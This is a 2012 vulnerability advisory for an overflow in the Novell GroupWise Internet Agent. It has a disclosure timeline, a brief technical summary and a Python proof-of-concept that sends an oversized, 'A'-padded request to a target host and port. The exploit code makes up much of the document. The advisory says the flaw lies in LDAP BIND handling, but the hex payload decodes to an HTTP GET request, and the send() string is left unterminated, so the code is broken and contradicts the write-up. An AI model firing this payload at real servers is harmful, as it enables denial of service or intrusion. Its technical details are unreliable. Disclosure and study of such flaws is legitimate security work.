Novell Groupwise Internet Agent Overflow

`#####################################################################################  
  
Application: Novell Groupwise  
  
Platforms: Windows  
Version: 8.0.2 HP3 and 2012  
  
Secunia: SA50622  
  
{PRL}: 2012-33  
ZDI: ??  
Novell TID: 5150711  
Author: Francis Provencher (Protek Research Lab's)  
  
Website: http://www.protekresearchlab.com/  
  
Twitter: @ProtekResearch  
  
  
#####################################################################################  
  
1) Introduction  
2) Report Timeline  
3) Technical details  
4) The Code  
  
  
#####################################################################################  
  
===============  
1) Introduction  
===============  
  
Novell, Inc. is a global software and services company based in Waltham, Massachusetts. The company specializes in  
  
enterprise operating systems, such as SUSE Linux Enterprise and Novell NetWare; identity, security, and systems  
management solutions; and collaboration solutions, such as Novell Groupwise and Novell Pulse. Novell was instrumental  
in making the Utah Valley a focus for technology and software development. Novell technology contributed to the  
emergence of local area networks, which displaced the dominant mainframe computing model and changed computing  
worldwide. Today, a primary focus of the company is on developing open source software for enterprise clients.  
  
(http://en.wikipedia.org/wiki/Novell)  
  
#####################################################################################  
  
============================  
2) Report Timeline  
============================  
  
2011-06-02 Vulnerability reported to ZDI  
2012-09-14 Novell Publish a patch  
2012-11-13 Publication of this advisory  
  
  
#####################################################################################  
  
============================  
3) Technical details  
============================  
The vulnerability is caused due to an overflow error in GroupWise Internet Agent (gwia.exe)  
when the LDAP service process an overly long BIND Request.  
Successful exploitation may allow execution of arbitrary code.  
  
  
#####################################################################################  
  
===========  
4) The Code  
===========  
  
#!/usr/bin/python  
  
import sys,os,socket  
  
if len(sys.argv) < 3:  
print "Usage: host,port"  
sys.exit(0)  
  
host=sys.argv[1]  
port=int(sys.argv[2])  
  
sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)  
  
sock.connect((host,port))  
  
sock.send("\x47\x45\x54\x20\x2F\x20\x48\x54\x54\x50\x2F\x31\x2E\x30\x0D\x0A\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x4C\x65\x6E\x67\x74\x68\x3A\x20\x2D\x31\x0D\x0A\x45\x78\x70\x69\x72\x65\x73\x3A\x20\x4D\x6F\x6E\x2C\x20\x30\x32\x20\x4A\x75\x6E\x20\x31\x39\x38\x32\x20\x30\x30\x3A\x30\x30\x3A\x30\x30\x20\x47\x4D\x54\x0D\x0A\x46\x72\x6F\x6D\x3A\x20\x61\x61\x61\x61\x61\x40\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x2E\x63\x6F\x6D\x0D\x0A\x49\x66\x2D\x4D\x6F\x64\x69\x66\x69\x65\x64\x2D\x53\x69\x6E\x63\x65\x3A\x20\x4D\x6F\x6E\x2C\x20\x30\x32\x20\x4A\x75\x6E\x20\x31\x39\x38\x32\x20\x30\x30\x3A\x30\x30\x3A\x30\x30\x20\x47\x4D\x54\x0D\x0A\x4C\x61\x73\x74\x2D\x4D\x6F\x64\x69\x66\x69\x65\x64\x3A\x20\x4D\x6F\x6E\x2C\x20\x30\x32\x20\x4A\x75\x6E\x20\x31\x39\x38\x32\x20\x30\x30\x3A\x30\x30\x3A\x30\x30\x20\x47\x4D\x54\x0D\x0A\x52\x65\x66\x65\x72\x65\x72\x3A\x20\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x2E\x63\x6F\x6D\x2F\x0D\x0A\x55\x73\x65\x72\x2D\x41\x67\x65\x6E\x74\x3A\x20\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41  
  
print "done!"  
  
sock.close()  
  
  
#####################################################################################  
`